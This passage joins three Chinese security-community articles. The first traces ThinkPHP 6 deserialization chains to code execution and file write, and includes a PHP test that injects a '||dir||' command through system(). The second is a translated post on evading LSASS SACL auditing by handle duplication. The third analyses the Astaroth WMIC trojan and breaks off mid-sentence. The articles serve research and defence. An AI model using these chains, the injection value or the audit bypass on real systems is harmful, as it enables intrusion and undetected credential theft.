最近CTF中TP反序列化考的比较频繁，从前段时间的N1CTF到最近的安洵杯都利用了ThinkPHP反序列化，疯狂填坑，审计挖掘了下TP5、TP6反序列化中的利用链，本篇主要总结下TP6利用链的挖掘思路。小白文章，大佬们请略过。。。
TP5反序列化入口都是在Windows类的析构方法，通过`file_exists()`函数触发`__toString`
魔术方法，然后以`__toString`为中间跳板寻找代码执行点，造成反序列化任意命令执行。有关TP5的分析可以看[挖掘暗藏thinkphp中的反序列利用链](https://blog.riskivy.com/%e6%8c%96%e6%8e%98%e6%9a%97%e8%97%8fthinkphp%e4%b8%ad%e7%9a%84%e5%8f%8d%e5%ba%8f%e5%88%97%e5%88%a9%e7%94%a8%e9%93%be/)这篇文章，感觉分析的思路比较好，本篇分析TP6，也是按照文中的思路来的。
TP6的不同之处就是没有了Windows类，也就无法利用其中的析构方法作为反序列化入口，需要重新挖掘其他入口点。
## 基础知识
### 1.PHP反序列化
序列化：将php值转换为可存储或传输的字符串，目的是防止丢失其结构和数据类型。
反序列化：序列化的逆过程，将字符串再转化成原来的php变量，以便于使用。
简单来说，就是涉及php中的serialize与unserialize两个函数。
### 2.PHP魔术方法
魔术方法：在php中以两个下划线字符（__）开头的方法，方法名都是PHP预先定义好的，之所以称为`魔术方法`
就是这些方法不需要显示的调用而是由某种特定的条件触发执行。
常用的魔术方法：
`__constuct`: 构建对象的时被调用
`__destruct`: 明确销毁对象或脚本结束时被调用
`__wakeup`: 当使用unserialize时被调用，可用于做些对象的初始化操作
`__sleep`: 当使用serialize时被调用，当你不需要保存大对象的所有数据时很有用
`__call`: 调用不可访问或不存在的方法时被调用
`__callStatic`: 调用不可访问或不存在的静态方法时被调用
`__set`: 当给不可访问或不存在属性赋值时被调用
`__get`: 读取不可访问或不存在属性时被调用
`__isset`: 对不可访问或不存在的属性调用isset()或empty()时被调用
`__unset`: 对不可访问或不存在的属性进行unset时被调用
`__invoke`: 当以函数方式调用对象时被调用
`__toString`: 当一个类被转换成字符串时被调用
`__clone`: 进行对象clone时被调用，用来调整对象的克隆行为
`__debuginfo`: 当调用var_dump()打印对象时被调用（当你不想打印所有属性）适用于PHP5.6版本
`__set_state`: 当调用var_export()导出类时，此静态方法被调用。用__set_state的返回值做为var_export的返回值
### 3.反序列化漏洞利用过程
反序列化漏洞就是通过多个类，赋予一定条件，使其自动调用魔术方法，最终达到代码执行点。过程包括起点、中间跳板、终点。
#### 起点
最常用的就是反序列化时触发的魔术方法：
`__destruct`: 明确销毁对象或脚本结束时被调用
`__wakeup`: 当使用unserialize时被调用，可用于做些对象的初始化操作
有关字符串操作可以触发的魔术方法：
`__toString`: 当一个类被转换成字符串时被调用
触发的情况有：
用到打印有关函数时，如echo/ print等
拼接字符串时
格式化字符串时
与字符串进行==比较时
格式化SQL语句，绑定参数时
数组中有字符串时
#### 中间跳板
`__toString`: 当一个类被转换成字符串时被调用
`__call`: 调用不可访问或不存在的方法时被调用
`__callStatic`: 调用不可访问或不存在的静态方法时被调用
`__set`: 当给不可访问或不存在属性赋值时被调用
`__get`: 读取不可访问或不存在属性时被调用
`__isset`: 对不可访问或不存在的属性调用isset()或empty()时被调用
#### 终点
`__call`: 调用不可访问或不存在的方法时被调用
`call_user_func`、`call_user_func_array`等代码执行点
## 利用链挖掘
主要分析三篇利用链的挖掘思路，网上也有很多分析，但是发现很多POC都不能用，因此自己分析构造下POC。
### 1.环境搭建
TP6.0安装参照Thinkphp6手册，从5.2版本开始不能利用下载的方法，需要利用composer。
composer create-project topthink/think TP-6.0 6.0.*-dev
### 2.利用起点
起点的挖掘可以利用直接搜索常用入口魔法函数的方法。
第一条利用链选择从`Model`类分析：
`vendor/topthink/think-orm/src/Model.php`
满足`$this->lazySave` 为true 就可以进入`save` 方法，跟进下`save`方法：
发现满足条件就可以进入`updateData` 方法：
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
需要满足：
$this->isEmpty()为false
$this->trigger('BeforeWrite') 为true
$this->exists 为true
跟进下：
$this->isEmpty()为false 需要$this->data不为空
$this->trigger('BeforeWrite') 为true 需要$this->withEvent 为false
$this->exists 为true
进入`updateData`函数：
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->startTrans();
try {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
$db->commit();
// 更新回调
$this->trigger('AfterUpdate');
return true;
} catch (\Exception $e) {
$db->rollback();
throw $e;
}
}
然后跟进函数分析，发现`checkAllowFields`函数的`db` 函数存在提到的拼接字符串操作，因此可以触发`__toString`
然后再分析`updateData`函数和`checkAllowFields`函数 看下进入`db`函数的条件：
首先是`updateData`函数：
跟进`getChangedData()`函数：
满足`$this->force`为true即可，这样进入到`checkAllowFields` 函数：
`$this->field`为空，`$this->schema` 为空即可进入`db`函数，看一下拼接字符串需要满足的条件：
跟进发现只要`$this->connection` 为`mysql` 即可。
梳理下思路：
//寻找一个入口魔术方法
//可以利用 vendor/topthink/think-orm/src/Model.php
public function __destruct()
{
if ($this->lazySave) { //需要满足$this->lazySave为true
$this->save();
}
}
public function save(array $data = [], string $sequence = null): bool
{
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}//需要满足 $this->data不为空 $this->withEvent为false
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
}//$this->exists为true
protected function updateData(): bool
{
if (false === $this->trigger('BeforeUpdate')) {
return false;//$this->withEvent为false已经满足
}
$data = $this->getChangedData();//$this->force 为true
$allowFields = $this->checkAllowFields();
}
protected function checkAllowFields(): array
{
if (empty($this->field)) {//$this->field 为空
if (!empty($this->schema)) {//$this->schema 为空
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
}
}
}
public function db($scope = []): Query
{
$query = self::$db->connect($this->connection)//$this->connection为mysql
->name($this->name . $this->suffix)
->pk($this->pk);
return $query;
}
### 3.中间跳板
前边构造条件已经触发`__toString`函数，现在需要寻找可利用类的`__toString`。
通过审计发现后续利用思路和TP5.2版本利用动态代码执行是一样的，这里只做简单分析。
通过搜索不难发现熟悉的`Conversion` 类，直接利用TP5.2的利用链：
跟进函数：
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性（必须定义获取器）
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}
return $item;
}
进入`toArray` 函数后，TP5.2有两个思路，一个是利用`getAttr`的`getValue` 函数，然后`$value =
$closure($value, $this->data);`动态调用；另一个思路是进入`appendAttrToArray`
函数，利用`$relation->visible($name);`
触发`__call`方法，TP6.0中第二种方法不能用了，第一种是可以的。接下来就是寻找最终的代码执行点。
### 4.代码执行
`toArray` 方法中`$data = array_merge($this->data,
$this->relation);`是可控的，所以`$item[$key] = $this->getAttr($key);` 中的`$key`
也是可控的，进入`getAttr` 函数：
首先进入`getData` 函数看下$value值的处理：
可以发现$value为可控的，由此`getValue` 函数的参数都是可控，进入到`getValue`函数：
`$this->withAttr`可控，`$this->data`也可控：
这样就可以执行任意代码。
梳理下思路：
// vendor/topthink/think-orm/src/model/concern/Conversion.php
public function __toString()
{
return $this->toJson();
}
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
public function toArray(): array
{
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val)
$item[$key] = $this->getAttr($key);
}
// vendor/topthink/think-orm/src/model/concern/Attribute.php
public function getAttr(string $name)
{
return $this->getValue($name, $value, $relation);
}
protected function getValue(string $name, $value, bool $relation = false)
{
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
这样一跳完整的利用链就出来。
### 5.另一条利用起点
利用起点挖掘的时候发现还存在其他起点。
`vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php`
需要满足`$this->autosave`
为false，进入`save`函数，发现并没有实现什么功能，参考网上师傅分析的思路，`AbstractCache`类的子类有没有实现该函数：
进入到`vendor/topthink/framework/src/think/filesystem/CacheStore.php`，发现了`save`
方法：
看到可控的`$this->store`可以触发任意类的`set`方法只要找到任意类存在危险操作的`set`
方法即可利用。`$this->key`可控，`$this->expire`可控。
跟进下`$this->getForStorage`：
`$this->cache`可控，`$this->complete` 可控，因此`$contents`可控，只不过经过一次json编码，但是不影响目的。
寻找一处存在危险行为的`set` 方法：
`vendor/topthink/framework/src/think/cache/driver/File.php`：
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
clearstatcache();
return true;
}
return false;
}
分析`set`方法，跟踪下几个重要的函数：
$filename = $this->getCacheKey($name);
public function getCacheKey(string $name): string
{
$name = hash($this->options['hash_type'], $name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DIRECTORY_SEPARATOR . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DIRECTORY_SEPARATOR . $name;
}
return $this->options['path'] . $name . '.php';
}
`$this->options` 可控，所以`getCacheKey` 返回的值完全可控。
$data = $this->serialize($value);
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'][0] ?? "\Opis\Closure\serialize";
return $serialize($data);
}
`$this->options['serialize'][0]`可控，`$serialize`可控，`$data`
为我们传入`set`函数的`$value`，也就是`$this->store->set($this->key, $contents,
$this->expire);` 中的`$content`，是可控的。只不过此时`$data` 经过json编码。
不难发现这里我们可以构造动态代码执行，测试下这个过程（本地实验是在windows下所以利用`&`或者`||`，linux下直接利用反引号即可。
<?php
$contents = ["test"=>"\"||dir||\""];
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
$contents = json_encode($contents);
$options = ["system"];
$data = $contents;
var_dump($data);
$serialize = $options[0];
$serialize($data);
梳理下思路：
// vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php
// abstract class AbstractCache 抽象类
// protected $cache = [];
// protected $complete = [];
public function __destruct()
{
if (! $this->autosave) { //$this->autosave=false
$this->save();
}
}
// vendor/topthink/framework/src/think/filesystem/CacheStore.php
//use League\Flysystem\Cached\Storage\AbstractCache;
// class CacheStore
// protected $key;
// protected $expire;
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}//$this->store = new File();
// vendor/topthink/framework/src/think/cache/driver/File.php
// // use think\cache\Driver;
// class File extends Driver
public function set($name, $value, $expire = null): bool
{
$data = $this->serialize($value);
}
// vendor/topthink/framework/src/think/cache/Driver.php
// abstract class Driver
// protected $options = [];
protected function serialize($data): string
{
$serialize = $this->options['serialize'][0];
return $serialize($data);//命令执行点
}
还没完 ，继续分析`set` 方法：
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
发现还存在一个任意文件写入的点，只不过存在一个`死亡exit`，CTF中常见的一个点，利用p牛的php://filter协议的base64编码很轻松就能绕过。前面提到过`$filename`可控，`$data`
也可控，所以可以getshell。
### 6.漏洞利用
PS：这里只梳理触发的过程，防止不必要的麻烦，不放出POC，具体参数在分析过程中都提到了。
#### 利用链一
`vendor/topthink/think-orm/src/Model.php`
入口在`Model` 类的`__destruct`方法，但是此类为抽象类无法实例化，找到了它的子类`Pivot`类
`vendor/topthink/think-orm/src/model/Pivot.php`
以实例化`Pivot`类为起点
然后给有关参数赋值，满足一定条件层层触发：
`$this->save` > `$this->updateData` > `$this->checkAllowFields` >
`$this->db()`
在`$this->db()`中字符串拼接，触发`__toString`
`vendor/topthink/think-orm/src/model/concern/Conversion.php`
触发了`Conversion` 类的`__toString`，`Conversion` 类为Trait类，在`Model` 类中利用，只需赋值然后触发：
`$this->toJson` > `$this->toArray()` 然后进入到`Attribute`类的 `getAttr`函数
`vendor/topthink/think-orm/src/model/concern/Attribute.php` 为Trait类，在`Model`
类中利用
`getAttr` > `$this->getValue`
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
动态函数执行。
#### 利用链二
`vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php`
入口为`AbstractCache`类的`__destruct` 方法 该类为抽象类找到其子类`CacheStore`
`vendor/topthink/framework/src/think/filesystem/CacheStore.php`
进入子类的`$this->save` 调用任意类的`set`函数：
$this->store->set($this->key, $contents, $this->expire);
调用`File`类 `vendor/topthink/framework/src/think/cache/driver/File.php`
`$this->serialize` 然后命令执行：
`vendor/topthink/framework/src/think/cache/Driver.php`
`Driver`类为抽象类，在`File`类 中有调用
return $serialize($data);
执行命令。
#### 利用链三
前部分和利用链二一样，只是在最后getshell的方法不同，利用`File`类任意文件写入shell
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
## 思路总结
### 反序列化利用链基础挖掘思路
先找到入口文件，然后再层层跟进，找到代码执行点等危险操作。
特别注意魔法函数、任意类和函数的调用、以及子类等的综合分析
构造POC注意复用类和抽象类的问题：
发现类是Trait类，Trait类PHP 5.4.0开始引入的一种代码复用技术，是为解决PHP单继承而准备的一种代码复用机制，无法通过 `trait`
自身来实例化，需要找到复用它的类来利用。
抽象类也不能实例化，需要找到子类普通类来实例化。
再就是ThinkPHP命名空间的问题：
命名空间基础可以参考php文档，参照文档很好理解三种引用方式，文档中将命名空间与文件系统作类比：
> 1. 非限定名称（不包含前缀的类名称）
>
> 如 _$a=new foo();_ 或 _foo::staticmethod();_ 。如果当前命名空间是 _currentnamespace_
> ，foo 将被解析为 _currentnamespace\foo_ 。如果使用 foo 的代码是全局的，不包含在任何命名空间中的代码，则 foo
> 会被解析为 _foo_ 。
>
> 2. 限定名称 （包含前缀的名称）
>
> 如 _$a = new subnamespace\foo();_ 或 _subnamespace\foo::staticmethod();_
> 。如果当前的命名空间是 _currentnamespace_ ，则 foo 会被解析为
> _currentnamespace\subnamespace\foo_ 。如果使用 foo 的代码是全局的，不包含在任何命名空间中的代码，foo
> 会被解析为 _subnamespace\foo_ 。
>
> 3. 完全限定名称（包含了全局前缀操作符的名称）
>
> 如 _$a = new \currentnamespace\foo();_ 或
> _\currentnamespace\foo::staticmethod();_ 。在这种情况下，foo 总是被解析为代码中的文字名(literal
> name) _currentnamespace\foo_ 。
>
>
TinkPHP采用命名空间，那么我们构造POC的时候也应利用命名空间的方法调用不同类和函数，构造POC就是在一个文件中定义多个命名空间，文档中也有说明。有两种方式：简单组合语法和大括号语法
简单组合语法：
<?php
namespace MyTest1;
class Test {}
function test() {}
namespace MyTest2;
class Test {}
function test() {}
?>
不推荐这种方法。
大括号语法：
<?php
namespace MyTest1{
class Test {}
function test() {}
}
namespace MyTest2{
class Test {}
function test() {}
}
?>
构造POC的最后还会用到全局非命名空间：
> 将全局的非命名空间中的代码与命名空间中的代码组合在一起，只能使用大括号形式的语法。全局代码必须用一个不带名称的 namespace 语句加上大括号括起来
<?php
namespace MyTest1{
class Test {}
function test() {}
}
namespace MyTest2{
class Test {}
function test() {}
}
namespace{
$v = new MyTest2\Test();
$s = new MyTest1\Test();
$this -> xxx = $v;
echo serialize($s);
}
?>
挖掘利用链真好玩，phpstorm真香。
## 参考
[挖掘暗藏ThinkPHP中的反序列利用链](https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/)
[ThinkPHP6.X反序列化利用链](https://xz.aliyun.com/t/6479)
[ThinkPHP 6.0.x反序列化(二)](https://nikoeurus.github.io/2019/12/03/ThinkPHP
6.0.x反序列化\(二)/)
[PHP手册-命名空间](https://www.php.net/manual/zh/language.namespaces.php) | 社区文章 |
# 【技术分享】绕过LSASS的SACL审计
|
##### 译文声明
本文是翻译文章，文章来源：tyranidslair.blogspot.co.uk
原文地址：<https://tyranidslair.blogspot.co.uk/2017/10/bypassing-sacl-auditing-on-lsass.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[牧野之鹰](http://bobao.360.cn/member/contribute?uid=877906634)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
**LSASS**
：本地安全权威子系统，是Windows平台上一个用户模式进程，它负责本地系统安全策略（比如允许哪些用户登录到本地机器上、密码策略、授予用户和用户组的特权、以及系统安全审计设置）、用户认证，以及发送安全审计消息到事件日志中。著名的
**Mimikatz** 密码抓取工具就是从LSASS进程的内存中获取明文密码的。
**
**
**正文**
Windows NT从第一天开始就支持资源访问审计。任何审计事件最终都会记录到安全事件日志中（ **Security event log**
）。要启用审计功能，管理员需要在本地或者组安全策略中配置哪些类型的资源的访问需要被审计，包括是否审计成功和失败。每个要审计的资源都需要添加到系统访问控制列表（
**SACL** ）中，该系统访问控制列表决定了哪些类型的访问将被审计。ACL还可以指定将审计限制在特定组中。
最近一条推特激起了我的兴趣，这条推特指出在Windows 10
中的一个改动——为LSASS进程配置了一个SACL。这条推特中还有一张截图，截自一个描述Windows 10
RTM改动的网页。从中我们可知该SACL的引入是为了检测一些工具的使用，比如Mimikatz，它需要打开LSASS进程。但是对于这个目的，它能不能很好的工作呢？
让我们来分析这个LSASS的SACL，先从审计的角度来看看这样做的意义，然后再谈谈为什么这不是检测Mimikatz或者试图访问LSASS内存的类似程序的一个很好的机制。
我们首先设置一个测试系统，以便我们可以验证SACL是否存在，然后启用审计来检查打开LSASS时是否收到审计事件。 我更新了我的一个Windows 10
1703虚拟机，然后安装了NtObjectManager PowerShell模块。
在这里需要注意的几件事情，您必须在打开该进程时请求ACCESS_SYSTEM_SECURITY访问权限，否则您无法访问SACL。
您还必须在访问进程的安全描述符时明确请求SACL。 我们可以将SACL看作是一个SDDL（Security Descriptor Definition
Language）字符串，它与来自tweet / Microsoft网页的SDDL字符串相匹配。 但SDDL的表示方法并不能让我们很好的理解SACL
ACE（Access Control Entry），所以我会在文中将其扩展。
扩展后的形式表明ACE就是我们所希望的用于审计的ACE，主体用户是Everyone组，对成功和失败事件都启用了审计，并且掩码设置为0x10。
好的，我们来配置这个事件的审计。 我在系统的本地安全策略中启用了对象审计（例如运行gpedit.msc），如下所示：
您不需要重新启动以更改审计配置，因此只需重新打开LSASS进程，就像我们之前在PowerShell中所做的那样，我们应该可以看到在安全事件日志中生成的审计事件，如下所示：
我们可以看到包含目标进程和源进程的事件已经被记录了。那么我们如何绕过这个呢？我们回过头来看一下SACL
ACE的意义。内核用来确定是否生成一个基于SACL的审计日志的过程其实和用DACL来进行访问检查的过程没有多大区别。内核尝试找到具有当前令牌组中的主体的ACE，并且掩码表示已授予打开的句柄的一个或多个访问权限。
所以回顾一下SACL
ACE，我们可以得出结论，如果当前的令牌具有Everyone组并且句柄被授予访问权限0x10，则会生成审计事件。那么0x10应用到进程上意味着什么呢？我们可以利用powershell中的Get-NtAccessMask来看一下。
这表明访问进程内存需要你有PROCESS_VM_READ权限，这是有道理的。
如果你想要阻止一个进程抓取LSASS的内容，则你可以让该进程必须获取到了访问权限，然后才能调用ReadProcessMemory()。
绕过的第一个思路是将Everyong
组从你的令牌中移除，然后再打开目标进程，这时候审计规则应该是不匹配的。但是操作起来很不容易，从令牌中移除组的唯一个简单的方法是用CreateRestrictedToken()将其转换为仅拒绝（Deny
Only）组。然而，内核为了审计访问检查，将仅拒绝组视为已启用。或者如果你有SeCreateToken特权的话，你可以创建一个没有该组的令牌，但是根据测试，Everyone组是一个特殊的存在，而且不管你的令牌里有哪些组，它依然会进行审计匹配。
那么访问掩码呢？ 如果不请求PROCESS_VM_READ权限，也就是不在OpenProcess()函数中指定该权限，则不会触发审计事件。
当然，我们实际上希望能够拥有访问权限以便进行内存访问，那么我们怎么能解决这个问题呢？
一种方法是你可以以ACCESS_SYSTEM_SECURITY权限打开进程，然后修改SACL以删除审计条目。
当然，更改SACL会生成一个审计事件，该事件ID和对象访问生成的不一样，如果你没有捕获那些事件，你可能不会注意到它。
但是这些方法都太麻烦了，事实证明，至少存在一种更容易的方法——滥用句柄复制。
正如我在P0博客文章中解释的那样，当使用伪当前进程句柄时，DuplicateHandle系统调用有一个有趣的行为，其返回值为-1。
具体来说，如果你尝试从另一个进程复制伪句柄，那么你就可以获取源进程的完整访问句柄。
因此，为了绕过SACL，我们可以在OpenProcess()函数中指定PROCESS_DUP_HANDLE参数来访问LSASS，复制其伪句柄并获取PROCESS_VM_READ权限访问句柄。
你可能会认为这仍然会记录在审计日志中，但其实不会。 句柄复制并不会触发访问检查，因此审计功能不会运行。 你可以自己尝试一下，看其是否有效。
当然这只是绕过审计的简单方法。 您可以轻松地将任意代码和线程注入到进程中，也不会触发审计。 这使得审计SACL相当无用，因为恶意代码可以很方便地绕过它。
如以前一样，如果你的计算机上运行了管理员级代码，那么你将会很不幸。
那么从中我们应该注意什么呢？我们不应该依赖配置好的SACL来检测那些尝试访问，利用LSASS内存的恶意代码。SACL太脆弱，要绕过它太简单了。使用像Sysmon那样的工具可能会有更好的效果（尽管我没有试过），或者是启用Credential
Guard应该可以从一开始就阻止恶意代码打开LSASS。 | 社区文章 |
# 针对Astaroth WMIC木马的技术分析
|
##### 译文声明
本文是翻译文章，文章来源：cofense.com
原文地址：<https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
最近，Cofense网络钓鱼防御中心（PDC）监测到Astaroth木马再次活跃。上周，我们的客户共计有数十台资产感染该木马。根据估算，在短短一周内，有约8000台机器可能遭到入侵。
Astaroth木马因其使用撒旦的变量名称（古代传说中的“大公爵”）而得名，自2017年底以来，一直通过伪造的发票钓鱼邮件感染受害用户，大部分发件人使用的是cam.br域名，以此来模拟合法的发件人。
下图为冒充TicketLog的钓鱼邮件：
此次木马的再次活跃，显然事先做了充足的谋划，将此次攻击的目标放在了南美洲。所有恶意域名都是由Cloudflare托管，并用于将Payload传送到IP地址位于南美洲的主机上。
成功下载Payload的抓包截图：
Astaroth的原始Payload是恶意.lnk文件，这也是攻击者比较常见的一种传递Payload的方法。恶意.lnk中包含指向URL的链接，受害用户跳转到该链接便能获取下一个Payload。
## 利用现有Windows服务承载恶意软件
Windows Management Instrumentation
Console（WMIC）是WMI的命令行界面。WMIC是一个管理Windows主机的优秀工具，受到管理员的广泛青睐。使用get命令，可以以多种方式来检索机器的信息，但是该木马会滥用os
get
/format:命令，从以.xsl扩展名的非本地资源下载Payload。同时，下载的样式表允许从其中运行经篡改的JavaScript和VBS，这样一来就能够轻松在被感染系统中运行任何类型的恶意软件。Astaroth木马的.lnk文件中包含WMIC.exe的参数，用于指定WMIC以非交互模式运行，这样一来被感染用户就不会看到任何窗口，木马可以悄悄地下载.lnk中的硬编码URL，并自行退出。
Astaroth从URL中检索包含带有嵌入式JavaScript样式表的.php文件。我们访问该网页，并手动进到view:source即可看到其代码。截至撰写本文时，这部分代码还没有以任何方法进行混淆。
下图为.xsl中的嵌入式JS：
其中一些变量包含用于文件执行和操作的ActiveX对象，在定义了几个变量之后，该脚本使用一个函数“roll”来生成随机数。
然后，使用生成的随机数，从列表中选择Payload的URL。
域名列表如下：
在代码中，经常会重复使用“xVRxastaroth”变量，这一变量可以作为指纹，有助于我们识别该木马。其中，列出的154个域名都托管在CloudFlare上，木马编写者现在大多倾向于借助Google
Cloud或CloudFlare等合法托管服务来托管其Payload或C&C基础架构，从而使得安全人员阻止IP的行动变得更加困难。
在选择域名之后，木马会再次使用WMIC加载到另一个样式表的Payload
URL。选择的域名将会以硬编码值的形式存储到/Seu7v130a.xsl?，并在后面附加1111111到9999999之间随机选择的数字。
例如：
hxxp://ta4dcmj[.]proxy6x-server[.]website/09//Seu7v130a[.]xsl?3314468[.]xsl
该Payload包含更多嵌入式的JavaScript，并且是恶意软件核心功能的一部分。在这里，重复使用了与原始样式表中声明变量相同的变量，包括用于Payload域名的RNG
Roller。在选择Payload URL之后，该脚本将会创建certutil和regsvr32的副本并保存到临时目录中，以备之后使用。
恶意软件产生certutil和regsvr32的副本：
Certutil.exe（其副本被木马重命名为certis.exe）在Windows环境中通常用于管理证书。但在被感染主机上，第二个样式表借助该可执行文件来下载恶意软件Payload。该脚本创建一个函数，函数使用-urlcache参数和-f、-split选项在temp文件夹中运行复制的certutil。这样一来，可以将获取到的URL保存在文件中。
缓存URL并下载Payload：
该函数将重复使用，以检索其余的恶意软件Payload。此外，还会执行检查，在继续下一步之前确保已经将每个文件都下载到正确的文件夹中。
在下载恶意软件并验证文件后，脚本会在C:Program Files目录下检查是否已经安装Avast防病毒产品，这是全球最流行的防病毒产品之一。
如果被感染主机上没有安装Avast，那么脚本将使用regsvr32继续执行最终的.dll，并退出。
如下图所示，木马已经大功告成：
## 被感染主机的数据库
在恶意软件成功感染主机后，会生成一个纯文本日志（r1.log）并保存在tempwl目录下。这一日志中包含公网IP、地理位置、计算机名称、计算机受感染的时间以及需要提供给木马开发者的一些字段。
被感染主机的日志如下图所示：
然后，该信息会被发送到位于第一个Payload
URL根目录中的SQLite数据库，如下面的代码段所示。~/9/中有多个打开的目录，如果将数字减少到0，就可以打开其他几个包含可下载的SQLite数据库的目录，这些目录很可能来自之前的木马活动。经过统计，被感染用户高达数千人，一周大约就能感染8000人左右。
目录截图如下：
下面为在SQLite Browser中查看的数据库，其中每个字段都经过了Base64编码。
解码后，该数据库中的内容包含每台受感染计算机的详细日志。请注意加拿大VPS上托管计算机的第一个条目，与其他南美主机（也就是此次恶意活动的主要针对目标）有所不同。但我们并不能确定，这也可能是木马开发者在测试他们的基础架构。
## 详细分析
Astaroth木马在验证所有核心文件和二进制文件已经运行后，将执行恶意软件Payload。需要注意的是，任何Payload都可以通过滥用WMIC样式表来实现传递，Astaroth支持通过多种方式来传递Payload。然而，根据最近我们监测到的活动，该木马最近一直用于传递键盘记录器。在下载的文件中，伪装的.gif和.jpg文件似乎是恶意软件的依赖项。然而，根据其Magic
Byte来看，并不是任何已知的文件类型，并且没有.text或其他PE部分，这就表明它们是不可执行的。然而，其中确实存在函数名称，包括PeekMessageA，这一函数在其他的键盘记录类恶意软件中也曾经发现过。除此之外，还有几个日志文件，以及一个名为vri的文件夹。当恶意软件运行时，该文件夹中也会保存日志。
恶意软件文件列表：
伪装成“.jpg”的文件的Magic Byte：
函数名称：
为了让木马更有针对性，在其他地区运行Astaroth恶意软件的尝试都会失败，具体而言，无法成功下载Payload，并且无法运行.dll文件。我们对其中一个.dll文件进行了简要分析，目前发现它是使用Delphi语言编写而成，其中使用了GetLocaleInfoA函数，以允许木马获取被感染主机的语言环境信息。
以Delphi语言编写：
获取语言环境信息：
通过更改注册表中HKEY_CURRENT_USER>Control
Panel>International项，我们将主机调整为巴西，并启用葡萄牙语键盘，即可解决这一问题。.dll首先在静默模式下使用regsrv32注册并运行，随后会创建启动项，以保证其持久性。
运行.dll的regsvr32：
创建启动项保证持久性：
该恶意软件从regsvr32同时运行2个dll文件，并产生userinit、ctfmon和svchost进程。
新产生的进程如下：
恶意的svchost使用CLSID
dc30c1661-cdaf-11D0-8A3E-00c04fc9e26e不断查询ieframe.dll以及IWebBrowser2接口，这两个组件都是与Internet
Explorer交互的关键组件。
这一点至关重要，因为恶意软件专门针对Internet
